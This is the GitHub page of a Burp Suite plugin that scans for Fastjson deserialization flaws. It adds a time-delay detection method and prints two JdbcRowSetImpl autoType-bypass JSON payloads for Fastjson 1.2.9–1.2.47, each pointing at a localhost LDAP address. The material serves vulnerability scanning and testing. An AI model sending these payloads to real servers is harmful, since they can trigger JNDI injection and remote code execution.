Skip to content

基于BurpFastJsonScan修改新增了延迟探测方式 Burp插件 Fastjson扫描

Notifications You must be signed in to change notification settings

xunyang1/FastjsonScan

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 

Repository files navigation

前言

学习了pmiaowu的fastjson扫描插件,其主要是两种检测方式

一种是利用c3p0回显探测

一种是利用dnslog探测

想了想如果不存在回显且对方不出网的情况下,可能会扫描不到

所以添加了一种延迟探测方式,当回显以及dnslog无法探测出时采用延迟探测方式

根据访问开放端口与关闭端口的响应时间不同来判断是否存在漏洞点

fastjson 1.2.9-1.2.47

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap:https://localhost:808/badNameClass",
        "autoCommit":true
    }
}

还有一种通用payload,可用于parseObject的场景,但是测试了一下发现上面这个也行

{"@type":"com.alibaba.fastjson.JSONObject",{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap:https://localhost:8088/badNameClass",
        "autoCommit":true
    }
}}""}

https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA

安装

image-20220923205653176

将target\BurpFastJsonScan下jar包导入

效果展示

image-20220923212341248

image-20220923212355278

image-20220923212404351

image-20220923212444871

About

基于BurpFastJsonScan修改新增了延迟探测方式 Burp插件 Fastjson扫描

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages